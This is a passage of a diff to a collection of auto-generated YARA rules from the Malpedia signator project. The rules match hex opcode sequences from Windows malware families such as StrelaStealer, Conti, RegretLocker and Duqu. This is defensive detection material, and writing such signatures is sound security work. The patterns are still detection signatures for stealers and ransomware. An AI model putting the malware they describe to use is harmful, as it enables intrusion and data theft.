 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "342150e9-e685-51fd-bb6e-825e56ff33ab"
+		id = "fdd29b03-d926-5cbf-98be-29b287d71b21"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.funny_dream"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.funny_dream_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bunitu"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bunitu_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "93298c694e8a0e9daec0c22ddb9409f4c4088b474ade93c3bf4d76bcd798f980"
+		logic_hash = "c3bd7c13018c7a8c4646040c13e12026479d672a4bbef2d99f41e09a2ac2f388"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153683,32 +160832,32 @@ rule MALPEDIA_Win_Funny_Dream_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c785e0ddffff01000000 50 6880000000 68ffff0000 ffb3c0000000 }
-		$sequence_1 = { 6a00 ff7728 ffd6 6a00 ff7724 ff15???????? 8b4714 }
-		$sequence_2 = { c745d45368656c 50 53 c745d86c457865 c745dc63757465 66c745e04100 }
-		$sequence_3 = { 85c0 0f8494000000 33c9 8a840d3cffffff }
-		$sequence_4 = { ff15???????? 85c0 0f85e7feffff 8d4704 899da0fdffff }
-		$sequence_5 = { 6a00 6800040000 8d842458030000 50 }
-		$sequence_6 = { 50 57 ff15???????? 85c0 7523 8b4618 8b3d???????? }
-		$sequence_7 = { 50 ff15???????? 8d442408 c744240810000000 50 8d442414 0f57c0 }
-		$sequence_8 = { 85c0 0f84f8000000 68???????? 50 ff15???????? }
-		$sequence_9 = { 83c404 8b4f04 85c9 7504 33c0 eb05 8b4708 }
+		$sequence_0 = { 68???????? 50 6a00 68???????? 6a00 50 ff15???????? }
+		$sequence_1 = { 58 6a02 ffb524fdffff ff15???????? ffb524fdffff }
+		$sequence_2 = { 50 ff75ec e8???????? 0bc0 7e18 50 }
+		$sequence_3 = { 48 40 8d443825 668b00 }
+		$sequence_4 = { c70003000000 ffb524fdffff 8f4004 ffb528fdffff 8f4008 }
+		$sequence_5 = { ffb524fdffff e8???????? eb12 6a08 68???????? ffb524fdffff e8???????? }
+		$sequence_6 = { 59 8bd0 8bdf b82f000000 }
+		$sequence_7 = { 895004 b9???????? 8d55fc 52 6800000100 50 51 }
+		$sequence_8 = { c70003000000 ff75f0 8f4004 ff75ec 8f4008 }
+		$sequence_9 = { 837df000 7614 6a02 ff75f0 ff15???????? }
 
 	condition:
-		7 of them and filesize <393216
+		7 of them and filesize <221184
 }
-rule MALPEDIA_Win_Miuref_Auto : FILE
+rule MALPEDIA_Win_Strelastealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "34f2a1cb-9745-52c8-a75d-06d5cdb25bcd"
+		id = "308b6312-f55e-5e44-8b26-8341d0a5504a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miuref"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.miuref_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strelastealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.strelastealer_auto.yar#L1-L169"
 		license_url = "N/A"
-		logic_hash = "0abc04edb362ffc2e411d61d44a4ba6937064194bb7ee145b0929a61d91bcae4"
+		logic_hash = "4a18fbcab2ec145e1ed1c3a8aa2118c83ff2631df0db61e9cbe03afa397c02a3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153722,32 +160871,38 @@ rule MALPEDIA_Win_Miuref_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 59 59 8945fc 85f6 760e 803c072e 7418 }
-		$sequence_1 = { ff15???????? 50 e8???????? ff750c 8906 50 e8???????? }
-		$sequence_2 = { 8bf0 8d7df0 a5 a5 a5 83c418 a5 }
-		$sequence_3 = { 6a02 ff35???????? e8???????? 8bf0 83c40c 85f6 7412 }
-		$sequence_4 = { 8d8300010000 ff75fc 50 e8???????? 68???????? 8d45f8 50 }
-		$sequence_5 = { 8b4124 83f801 7514 ff7514 ff7510 ff750c }
-		$sequence_6 = { 7509 0fb74e06 663bcf 7507 33c0 e9???????? }
-		$sequence_7 = { e8???????? 50 ff35???????? e8???????? 83c43c e9???????? 55 }
-		$sequence_8 = { 8d45d8 50 a5 e8???????? 83c408 8bf0 8bfc }
-		$sequence_9 = { 53 53 ff15???????? 50 a3???????? e8???????? 59 }
+		$sequence_0 = { 0f85e6030000 6804010000 8d942464010000 53 52 e8???????? }
+		$sequence_1 = { ff15???????? 8b442434 8b4c2438 53 }
+		$sequence_2 = { 488945f0 488d15d8a20000 b805000000 894520 }
+		$sequence_3 = { 885909 b801000000 83c404 51 0fb69220a30010 3011 33d2 }
+		$sequence_4 = { ff15???????? 33c9 8be8 85db 7612 8bc1 }
+		$sequence_5 = { 48895c2408 4889742410 57 4c8bd2 488d351b43ffff }
+		$sequence_6 = { 488d442478 33d2 4889442430 c744242801000000 4c897c2420 }
+		$sequence_7 = { 488d15eba10000 488d0dc4a10000 e8???????? 488d15e8a10000 488d0dd9a10000 }
+		$sequence_8 = { 0f85bc030000 8b442414 53 53 53 53 8d54244c }
+		$sequence_9 = { 740d 488bc8 49878cff20ac0100 eb0a 4d87b4ff20ac0100 33c0 }
+		$sequence_10 = { 4c8d05c7680100 c744243000020080 488d1548690100 48897c2428 4533c9 }
+		$sequence_11 = { 53 4883ec20 488d057f740000 488bd9 483bc8 7418 }
+		$sequence_12 = { 488d3de6070100 eb07 488d3dc5070100 4533ed }
+		$sequence_13 = { 51 6a00 6a00 6a1a 6a00 ff15???????? 68???????? }
+		$sequence_14 = { 51 8d94247c040000 52 ff15???????? }
+		$sequence_15 = { 8b4508 ff34c580b10010 ff15???????? 5d c3 6a0c }
 
 	condition:
-		7 of them and filesize <180224
+		7 of them and filesize <266240
 }
-rule MALPEDIA_Win_Wastedloader_Auto : FILE
+rule MALPEDIA_Win_Pkybot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f15153cb-6336-5eec-a420-db8a6857e34a"
+		id = "b29148a6-8685-5645-99d4-ca854d32849e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wastedloader_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pkybot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pkybot_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "e6299dacb3891024e6699f166db0ecba511abe3e26d2cc6dc9ddd0929ba5121a"
+		logic_hash = "809773f54b9553ffea062fd7f87645abd3e261a3e38fb26640ff099fc49a005e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153761,32 +160916,32 @@ rule MALPEDIA_Win_Wastedloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { b748 00ee 0be6 3bf6 2014dd33b89819 220f }
-		$sequence_1 = { 0fb7485e 83e954 8b55f8 66894a5e }
-		$sequence_2 = { fc b802ec0000 8d6825 94 01dc 00e8 45 }
-		$sequence_3 = { b802ec0000 8d6825 94 01dc 00e8 45 }
-		$sequence_4 = { ec 7ac4 f8 ae fc }
-		$sequence_5 = { 32705b 39e1 108792ff9b95 8abf2ec8650b }
-		$sequence_6 = { 1a00 0071bf 7303 1f c8be8de8 1be8 692405008008202c00700d }
-		$sequence_7 = { 66894118 8b55f8 0fb74218 83e854 8b4df8 66894118 ba8d000000 }
-		$sequence_8 = { 2cbe 832061 5b 5b }
-		$sequence_9 = { 30ac06e68bfc49 23f7 b754 7c49 27 59 }
+		$sequence_0 = { ff15???????? 8bf8 83ffff 7429 56 56 }
+		$sequence_1 = { 8d45e0 50 8b06 83c004 50 }
+		$sequence_2 = { 8b4e04 21413c c741300e000000 897938 5f 5e }
+		$sequence_3 = { 7409 ff75dc e8???????? 59 56 }
+		$sequence_4 = { 8b0d???????? 894108 e8???????? a3???????? }
+		$sequence_5 = { 7518 ff35???????? e8???????? 59 893d???????? 893d???????? }
+		$sequence_6 = { 56 a3???????? e8???????? 83c448 }
+		$sequence_7 = { 57 6a10 ff7510 8d45ec 50 e8???????? }
+		$sequence_8 = { 7430 50 3bf7 7507 e8???????? eb05 e8???????? }
+		$sequence_9 = { 8d85ecfdffff 50 8d45f4 50 53 57 ff75fc }
 
 	condition:
-		7 of them and filesize <2677760
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Sedll_Auto : FILE
+rule MALPEDIA_Win_Maudi_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "009a21d7-9a67-5650-8e55-9cfcfc21e0f2"
+		id = "3e4205bc-621f-57ac-9783-0d7a80e63274"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sedll"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sedll_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maudi"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.maudi_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "21c4f01124bd0cd6ba61129966ab2fcf5cc6cd643797282b60948edf1b57805e"
+		logic_hash = "ae4372c99a5ab8731cfa27286c0755a13272fa053f753c6557e155320ea94c91"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153800,34 +160955,34 @@ rule MALPEDIA_Win_Sedll_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 6a00 6a00 8d8424b0030000 }
-		$sequence_1 = { 50 ff15???????? 8b4df8 85c9 7407 }
-		$sequence_2 = { 74e3 57 33c9 33ff 85db 0f848f000000 }
-		$sequence_3 = { 56 6800010000 8d85f0feffff 8bf1 6880000000 50 }
-		$sequence_4 = { 8d842484010000 50 8d842498030000 50 ff15???????? }
-		$sequence_5 = { 6a00 53 e8???????? 83c410 6a00 6a00 ff75f4 }
-		$sequence_6 = { ff15???????? 85c0 7523 85ff }
-		$sequence_7 = { 57 6aff ff75fc 6a00 6a00 ffd3 8bc7 }
-		$sequence_8 = { 8b4514 8908 a1???????? 50 }
-		$sequence_9 = { 7604 8bf8 2bfb 8d7701 56 }
+		$sequence_0 = { 5d 8b542408 4a 0f85d9000000 68???????? 87d1 }
+		$sequence_1 = { 87d1 87ca 51 51 51 }
+		$sequence_2 = { 56 55 89e5 5d 89e6 fc ad }
+		$sequence_3 = { 89e5 5d 89e6 fc ad 6804010000 56 }
+		$sequence_4 = { 59 ffe7 6800400000 6a00 57 68???????? }
+		$sequence_5 = { cd03 cd02 68???????? 87d1 87ca 51 }
+		$sequence_6 = { 59 59 ffe7 6800400000 6a00 }
+		$sequence_7 = { 6804010000 56 50 68???????? 87d1 }
+		$sequence_8 = { 59 59 ff25???????? 55 }
+		$sequence_9 = { 5d b986180000 55 89e5 5d be???????? }
 
 	condition:
-		7 of them and filesize <65536
+		7 of them and filesize <40960
 }
-rule MALPEDIA_Win_Cerbu_Miner_Auto : FILE
+rule MALPEDIA_Win_Soraya_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "77652d6a-745f-5552-8901-83bf555706f4"
+		id = "17c03046-2ad1-5623-9130-def458833386"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cerbu_miner"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cerbu_miner_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soraya"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.soraya_auto.yar#L1-L230"
 		license_url = "N/A"
-		logic_hash = "e4927a587588bc11053fcbade5bb9500364c9a656d383eb318cc8486464f3cce"
+		logic_hash = "43793169adfc64c624ebc876524a7869403686546a466d508c127ca9f78faaa7"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -153839,32 +160994,45 @@ rule MALPEDIA_Win_Cerbu_Miner_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 88b42480000000 eb3f 83e902 7433 83e904 7413 83e909 }
-		$sequence_1 = { 7412 48 8d0d0b360500 48 83c428 48 ff25???????? }
-		$sequence_2 = { 8d4601 c643012e 48 63c8 41 8d4602 48 }
-		$sequence_3 = { 85d2 7427 85c9 b800040000 41 b800080000 44 }
-		$sequence_4 = { f6473801 7402 eb18 48 8bcf ff15???????? f6473801 }
-		$sequence_5 = { e9???????? 45 8bfd 44 89ad50010000 e9???????? 44 }
-		$sequence_6 = { 48 89442420 e8???????? 48 8bd7 48 8bcb }
-		$sequence_7 = { 89b42418010000 8b74242c 83feff 7515 837f0c00 7c0f 48 }
-		$sequence_8 = { 8d057b52f9ff 48 894518 c745b0e6070000 48 c745c000000200 48 }
-		$sequence_9 = { 44 2bc0 44 8903 33c0 48 8b5c2438 }
+		$sequence_0 = { ff15???????? 8d48bf 80f919 77f2 }
+		$sequence_1 = { e8???????? 488d151af0ffff 488d8d60020000 ff15???????? e8???????? 488d8d60020000 488bd0 }
+		$sequence_2 = { 57 8bd8 56 53 e8???????? 8b733c }
+		$sequence_3 = { 33c1 99 b99a000000 f7f9 b8fe340000 }
+		$sequence_4 = { 488bd0 4c8b4850 498bcb 41b86b000000 }
+		$sequence_5 = { 41b800300000 ff15???????? 488b8d50010000 4c8d8d48010000 488bd8 488d8540010000 488d1565f4ffff }
+		$sequence_6 = { 8b4c2414 33c6 33ce 03c1 }
+		$sequence_7 = { 418bd6 3bcb 72c8 4c891d???????? 488d0d1fe0ffff }
+		$sequence_8 = { 894df4 0f8501010000 53 56 8b7178 }
+		$sequence_9 = { 8b4a0c 8b7210 03c8 8365fc00 8b55fc ff45fc }
+		$sequence_10 = { 488d0dfadfffff ff15???????? 488bc8 e8???????? 488d0df5dfffff ff15???????? 488d15f8dfffff }
+		$sequence_11 = { 689b558d52 6853d56c36 68ff555535 68f9d6feff 6888888868 }
+		$sequence_12 = { 8b45ec 2bf8 037d10 8b45e8 }
+		$sequence_13 = { 2bd0 894de0 3bd1 7649 8b55f8 33d6 }
+		$sequence_14 = { 03570c 034f0c 807df800 8a540203 8a4c0102 8855fb }
+		$sequence_15 = { 8b3d???????? 6a1c 8d45e0 50 6a00 }
+		$sequence_16 = { 7444 53 4883ec30 488bd9 b910270000 ff15???????? 8364242800 }
+		$sequence_17 = { 488d0d73f8ffff 498bd8 488bfa ff15???????? }
+		$sequence_18 = { 56 57 8d85fcfdffff 6800020000 50 e8???????? }
+		$sequence_19 = { ff45dc 295de0 4e 75e8 b844060000 0345c8 }
+		$sequence_20 = { 7424 56 6a00 683a040000 ff15???????? 8bf0 85f6 }
+		$sequence_21 = { 8dbc07fe3ef2ff 8b45d8 33c6 3bbc05be3ef2ff 0f82bdfdffff }
+		$sequence_22 = { 8b45fc 8b4dec 8b4508 8b9578ffffff 8b80d8010000 33d3 }
 
 	condition:
-		7 of them and filesize <1040384
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Erebus_Auto : FILE
+rule MALPEDIA_Win_Regretlocker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3b8e48a2-ab39-5161-a03c-847ada2f2257"
+		id = "e84161b8-423e-557e-8de0-b1e67c3c2a4c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.erebus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.erebus_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.regretlocker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.regretlocker_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "f6199452e86aabb91b90d01b525d7eacea470d9b218c6e5261dcc5c5c7e57399"
+		logic_hash = "54bb2aadd5c37dd020832b423319961afea1e93662e9effb9e0b762d9355990d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153878,32 +161046,32 @@ rule MALPEDIA_Win_Erebus_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d4c243c 50 c744245000000000 e8???????? 8d742434 bb01000000 eb53 }
-		$sequence_1 = { ff15???????? 8b4514 8918 8bc7 5f 5b 8be5 }
-		$sequence_2 = { 8d45f0 50 8b8540ffffff 8d8d40ffffff 8b4004 03c8 e8???????? }
-		$sequence_3 = { ff4718 40 ff7718 25ffff0000 50 68???????? 56 }
-		$sequence_4 = { 8d0c2a 894f18 740a 8b4704 034708 3bc8 7506 }
-		$sequence_5 = { 8d4c2418 e8???????? 50 b9???????? c64424302e e8???????? c705????????24215000 }
-		$sequence_6 = { 50 57 53 e8???????? 83c418 8b8c2424020000 64890d00000000 }
-		$sequence_7 = { c74704ffffffff c74710ffffffff c74714ffffffff 8b0f 8b4704 83f9ff 7504 }
-		$sequence_8 = { 8bd0 c645fc1e 8d8d18ffffff e8???????? 8bf0 83c404 81fe???????? }
-		$sequence_9 = { 2b4718 034708 8b5710 0faf570c 3903 89442410 8d442414 }
+		$sequence_0 = { 8945e0 3bd8 742a 83ec18 8bcc 53 }
+		$sequence_1 = { 8d8568ffffff 50 e8???????? 83ec10 c645fc04 8bcc 6a06 }
+		$sequence_2 = { e8???????? 6aff 8bcb e8???????? 8d8df4feffff e8???????? 8d8d78ffffff }
+		$sequence_3 = { 8d4510 50 8d8578fdffff 50 8d45ec 50 e8???????? }
+		$sequence_4 = { 2b45fc 6a18 59 99 f7f9 ff750c 6bc018 }
+		$sequence_5 = { 3bf0 59 59 0f95c0 5f 5e }
+		$sequence_6 = { 50 f2c3 55 8bec 8b4508 56 }
+		$sequence_7 = { 83ec18 8bcc 57 e8???????? e8???????? 83c418 8d4dbc }
+		$sequence_8 = { 50 57 ff15???????? 85c0 0f8529ffffff 57 ff15???????? }
+		$sequence_9 = { 64890d00000000 5b c9 c21800 8b411c 8b10 85d2 }
 
 	condition:
-		7 of them and filesize <2564096
+		7 of them and filesize <1021952
 }
-rule MALPEDIA_Win_Floki_Bot_Auto : FILE
+rule MALPEDIA_Win_Udpos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1cde0271-e319-5f49-b7d9-6126f8e6a662"
+		id = "49a8c6d9-3919-52d8-b9a1-bc6d433f2d9f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.floki_bot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.floki_bot_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.udpos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.udpos_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "de31350a6a6eca83bc8efd1fc6e07ad972095e30f5b6c290e1bfd7b68f7ea01f"
+		logic_hash = "ffccd56d9879c5a40153befe0b99e30b88fecb63ad13af5b9ec71c40ee069e0c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153917,32 +161085,32 @@ rule MALPEDIA_Win_Floki_Bot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff7508 e8???????? 83f8ff 7511 ff7518 ff7514 53 }
-		$sequence_1 = { 68???????? 53 89460c e8???????? 85c0 }
-		$sequence_2 = { c3 e8???????? 84c0 742c 56 ff15???????? 8bf0 }
-		$sequence_3 = { 53 e8???????? eb5e 8d45f4 99 8945b4 8b4508 }
-		$sequence_4 = { 83f840 7205 83c8ff eb63 56 6a04 8985fcfeffff }
-		$sequence_5 = { 3bd1 72f3 eb05 83faff 7527 8d7101 }
-		$sequence_6 = { e8???????? 83ffff 0f8472ffffff 3bfb 7404 c645fb00 8a45fb }
-		$sequence_7 = { 3b4e48 7612 ff7004 6a03 ff7644 51 ff10 }
-		$sequence_8 = { 56 6800040000 ff15???????? 8bf8 3bfe 0f8483000000 8d45e8 }
-		$sequence_9 = { 8bf7 e8???????? 8b7d0c 8b5d14 837d1000 742e 33c0 }
+		$sequence_0 = { 8bc8 23cf 0bf1 8b4dfc 03d6 0353fc 8bf0 }
+		$sequence_1 = { 8b4dfc 83c404 5f 8bc3 33cd }
+		$sequence_2 = { 52 e8???????? 83c418 833d????????00 0f8596000000 8d85ccf3ffff 50 }
+		$sequence_3 = { 8888f8e84000 40 ebe6 ff35???????? ff15???????? 85c0 7513 }
+		$sequence_4 = { 7e1e 8d575c 85f6 7517 6639944dfcfdffff 7508 be01000000 }
+		$sequence_5 = { 51 e8???????? a1???????? 8b3d???????? 83c418 }
+		$sequence_6 = { 7e0d 83f809 7e08 a1???????? 8b7024 56 8d4d9c }
+		$sequence_7 = { e8???????? 68f4010000 6a00 8d8dc8fcffff 51 e9???????? }
+		$sequence_8 = { ffd6 8d953cffffff 52 8d85e0f8ffff 50 ffd6 }
+		$sequence_9 = { 40 3bc3 7cef 8b85a0feffff 50 e8???????? }
 
 	condition:
-		7 of them and filesize <286720
+		7 of them and filesize <163840
 }
-rule MALPEDIA_Win_Sneepy_Auto : FILE
+rule MALPEDIA_Win_W32Times_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "92a9a098-af3e-565a-a77d-ae1e4fe61438"
+		id = "0bfdc72d-d05e-5c1b-8705-7d1b1a1a85f1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sneepy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sneepy_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.w32times"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.w32times_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "0102a60e328cb3b8b2c7928ec4f988725df8b07a3b2131190567958f6bfcc033"
+		logic_hash = "09784a57b734a06db72c3b3952721b8e38cad13da9a478a5c4cffbebd654009b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153956,34 +161124,34 @@ rule MALPEDIA_Win_Sneepy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 83c40c 33c0 8a8810234100 }
-		$sequence_1 = { 83f8ff 0f85abfeffff 5f 5e }
-		$sequence_2 = { 8945e4 8845e8 e8???????? 8d55e4 83c404 2bd0 8a08 }
-		$sequence_3 = { ffd6 85c0 740d 8b85b8feffff 50 ffd6 }
-		$sequence_4 = { e8???????? 83c40c 32c0 5e 8b4dfc }
-		$sequence_5 = { 68???????? 8945f4 8845f8 e8???????? 8d55f4 83c404 }
-		$sequence_6 = { ff15???????? 8bc8 8a10 40 }
-		$sequence_7 = { 33c0 8b4d08 3b0cc520de4000 740a 40 83f816 72ee }
-		$sequence_8 = { 668b0d???????? 8a15???????? 668908 6a50 }
-		$sequence_9 = { 33c0 8945e4 83f805 7d10 668b4c4310 66890c4514314100 }
+		$sequence_0 = { e8???????? 85c0 0f8487030000 6a01 68???????? }
+		$sequence_1 = { 83e103 f3a4 8b35???????? 8d8c24f0020000 68???????? 51 ffd6 }
+		$sequence_2 = { 83c408 68???????? ff15???????? 85c0 0f85c6060000 ff15???????? }
+		$sequence_3 = { ff15???????? 68???????? ff15???????? 396c2418 7410 6a01 }
+		$sequence_4 = { 3b9c24000d0000 0f84cc090000 8a8424f0020000 84c0 0f84bd090000 8a8424e8000000 84c0 }
+		$sequence_5 = { 8bfd 83c9ff 33c0 8d9424ec010000 f2ae f7d1 2bf9 }
+		$sequence_6 = { 8b15???????? 52 ffd3 892d???????? a1???????? 3bc5 7416 }
+		$sequence_7 = { f3a5 8bcd 8d9424f4030000 83e103 f3a4 8dbc24f4040000 }
+		$sequence_8 = { 683f000f00 6a00 56 ff15???????? 8bf8 }
+		$sequence_9 = { 83c40c 85c0 0f85e00c0000 8b4b04 6a04 }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <122880
 }
-rule MALPEDIA_Win_Duqu_Auto : FILE
+rule MALPEDIA_Win_Conti_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4f983d2e-8e54-5fa3-99e8-f35467f58ba0"
+		id = "aae9ecae-21cf-5ec8-8511-8157ca36f115"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.duqu"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.duqu_auto.yar#L1-L157"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.conti"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.conti_auto.yar#L1-L225"
 		license_url = "N/A"
-		logic_hash = "c9f95c9fbccbdcbcab2eb713244b96d59984c1db33c0129682f88201221bf820"
+		logic_hash = "0be9a10d7e2a11f01ccc516eb831064a902454185cea8a72f6170734199b0c59"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -153995,38 +161163,46 @@ rule MALPEDIA_Win_Duqu_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bcb e8???????? bacdc185ad 89464c }
-		$sequence_1 = { 85f6 7eb3 b8c64ff867 8bde 8bd7 89442420 }
-		$sequence_2 = { 8b5c2414 85db 0f8402ffffff 46 }
-		$sequence_3 = { 85c0 0f848b020000 ba10ee27d3 8bcf e8???????? 894624 85c0 }
-		$sequence_4 = { 0f84f7000000 0fb706 b9ab4f5ecd 33c1 }
-		$sequence_5 = { 56 51 8bf2 e8???????? }
-		$sequence_6 = { 83c120 0fb7c9 8bc1 0fafc9 83e007 }
-		$sequence_7 = { 85c0 7465 e8???????? 85c0 }
-		$sequence_8 = { 55 8bec 81ec08020000 56 8bf2 8d95f8fdffff }
-		$sequence_9 = { 8bcb e8???????? bafa67937e 894648 8bcf }
-		$sequence_10 = { 8bf2 57 8d8e14020000 e8???????? }
-		$sequence_11 = { 8bf2 57 8d4e4c e8???????? }
-		$sequence_12 = { 8bf2 8bf9 ff15???????? 56 }
-		$sequence_13 = { 8bf2 57 8d8ecc000000 e8???????? }
-		$sequence_14 = { 8bf2 57 8d8e0c020000 e8???????? }
-		$sequence_15 = { 8bf2 57 8bf9 85f6 7425 66833e00 }
+		$sequence_0 = { 56 57 bf0e000000 8d7101 }
+		$sequence_1 = { 8d7f01 0fb6c0 b978000000 2bc8 }
+		$sequence_2 = { 57 bf0a000000 8d7101 8d5f75 8a06 8d7601 0fb6c0 }
+		$sequence_3 = { 8d7f01 0fb6c0 b96c000000 2bc8 }
+		$sequence_4 = { 0f1f4000 8a07 8d7f01 0fb6c0 b948000000 }
+		$sequence_5 = { 8975fc 803e00 7541 53 bb0a000000 }
+		$sequence_6 = { 8975fc 803e00 7542 53 bb0e000000 }
+		$sequence_7 = { 8d7f01 0fb6c0 b909000000 2bc8 }
+		$sequence_8 = { e8???????? 8bb6007d0000 85f6 75ef 6aff }
+		$sequence_9 = { 50 6a20 ff15???????? 68???????? ff15???????? 68???????? }
+		$sequence_10 = { 780e 7f07 3d00005000 7605 }
+		$sequence_11 = { 8bec 8b4d08 e8???????? 6a00 ff15???????? }
+		$sequence_12 = { 50 8b4508 ff7004 ff15???????? 85c0 7508 6a01 }
+		$sequence_13 = { 6810660000 ff7508 ff15???????? 85c0 }
+		$sequence_14 = { 85ff 7408 57 56 ff15???????? ff75f8 56 }
+		$sequence_15 = { 7411 a801 740d 83f001 50 ff7608 }
